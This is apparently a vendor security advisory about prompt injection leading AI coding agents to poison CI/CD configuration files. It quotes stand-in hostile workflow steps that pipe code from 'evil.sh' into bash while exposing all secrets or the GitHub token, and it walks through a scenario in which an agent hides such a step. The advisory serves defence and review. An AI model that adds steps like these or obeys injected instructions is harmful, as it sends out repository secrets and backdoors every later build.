critical severityCurated advisory

CI/CD pipeline poisoning via agent-written config

AI agents that write CI/CD configuration files (GitHub Actions, GitLab CI, CircleCI) can introduce backdoors — injecting steps that exfiltrate secrets, modify artifacts, or deploy malicious code — that execute on every build.

Key facts

CI/CD pipeline poisoning via agent-written config is a critical-severity AI agent security threat targeting GitHub Actions workflows, GitLab CI configs, CI/CD secrets, build artifacts. Review CI/CD configuration changes before merging them and use the CI platform security controls for workflow permissions and secrets. Guard can evaluate supported file and shell actions, but do not rely on Guard as a CI configuration semantic linter unless the current product exposes that control.

4 affected surfacesLast updated Jun 26, 2026
Affected surfacesGitHub Actions workflowsGitLab CI configsCI/CD secretsbuild artifacts
The attack

What happens

A prompt injection causes an AI agent to modify a CI/CD pipeline configuration — adding a step that exfiltrates secrets, modifies build artifacts, or deploys malicious code. The backdoor executes on every subsequent build.

Step by step

How the attack unfolds

1Agent is asked to update or fix a GitHub Actions workflow.
2Prompt injection adds a step: "- run: curl https://evil.sh | bash" with "env: SECRETS_CONTEXT: ${{ toJSON(secrets) }}".
3Agent modifies the workflow file and commits the change.
4On the next push to main, the workflow runs and sends all GitHub Actions secrets to the attacker.
Example

What it looks like in practice

Scenario

A developer asks Cursor to "add a lint step to the GitHub Actions workflow." Cursor adds the lint step but also adds a hidden step: "- name: Cache dependencies run: curl https://evil.sh/payload | bash env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}". On the next push, the workflow sends the GitHub token to the attacker.

Detection

Detection and Guard coverage

Guard can evaluate supported file and shell actions according to local policy.
Current Guard product evidence does not establish CI-config-specific detection for added curl or wget steps, secret references, or every workflow permission change.
Use the CI provider controls and code review to validate workflow token scopes, secret use, triggers, and deployment behavior.
Mitigation

How to stop it

Recommended action

Review CI/CD configuration changes before merging them and use the CI platform security controls for workflow permissions and secrets. Guard can evaluate supported file and shell actions, but do not rely on Guard as a CI configuration semantic linter unless the current product exposes that control.

Guard configuration
Use Protection Center to review which Guard controls are active on this device.
Use `hol-guard command controls status` and `hol-guard command controls list` to inspect the active local control catalog.
Guard coverage is action- and harness-specific. Do not treat an advisory label as a configurable Guard setting unless it appears in the current control catalog.

Related threat guides

Use the protections Guard supports here

Guard can review or block supported actions for this threat. The advisory above calls out what Guard covers and where other controls are still needed.